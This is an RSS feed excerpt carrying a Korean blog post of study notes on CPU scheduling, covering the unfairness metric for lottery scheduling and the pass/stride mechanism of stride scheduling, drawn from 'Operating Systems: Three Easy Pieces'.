&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 450px; HEIGHT: 272px; WIDTH: 450px; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99ACDB4F5BCF509503&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99ACDB4F5BCF509503&quot; width=&quot;450&quot; height=&quot;272&quot; filename=&quot;os4.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;HEIGHT: 272px; WIDTH: 450px&quot;/&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;&lt;STRONG&gt;U : unfairness metric&lt;/STRONG&gt;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;두 작업이 동시에 시작될 때 첫번째 작업이 종료된 시각을 두번째 작업이 종료된 시간으로 나눈 값이다.&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;이 값이 1에 가까울 수록 공정한 scheduler라고 할 수 있다.&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 350px; HEIGHT: 323px; WIDTH: 350px; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991D2B485BCF515C18&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991D2B485BCF515C18&quot; width=&quot;350&quot; height=&quot;323&quot; filename=&quot;os5.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;HEIGHT: 323px; WIDTH: 350px&quot;/&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;위에서 설명한 방식으로 proportional share를 구현했을때 작업이 충분히 길어야지만 공정한 scheduler의 모습을 보인다는 것을 알 수 있다.&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;즉, 무작위성을 이용하면 짧은 기간만 실행되는 경우 fairness를 보장할 수 없다.&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;이를 보완하기 위해 나온 개념이 stride scheduling이다.&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;stride scheduling&lt;/H3&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;$$stride = big\_value / ticket$$&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;scheduler는 프로세스가 실행되면 해당 프로세스의 pass 값을 stride만큼 증가시킨다.&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;pass 값은 모든 프로세스가 0부터 시작하며 time slice가 시작될 때 pass값이 가장 낮은 프로세스가 먼저 실행된다.&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;(모든 프로세스가 동시에 시스템에 도착했을 때를 가정)&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 402px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E7024C5BCFFED004&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E7024C5BCFFED004&quot; width=&quot;402&quot; height=&quot;218&quot; filename=&quot;os6.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;</description>
      <category>Operating Systems: Three Easy Pieces</category>
      <category>lottery scheduling</category>
      <category>OS</category>
      <category>proportional scheduling</category>
      <category>Scheduling</category>
      <author>st4rbuucks</author>
      <guid isPermaLink="true">https://yongy0ng2.tistory.com/61</guid>
      <comments>https://yongy0ng2.tistory.com/61#entry61comment</comments>
      <pubDate>Wed, 24 Oct 2018 14:11:23 +0900</pubDate>
    </item>
  </channel>
</rss>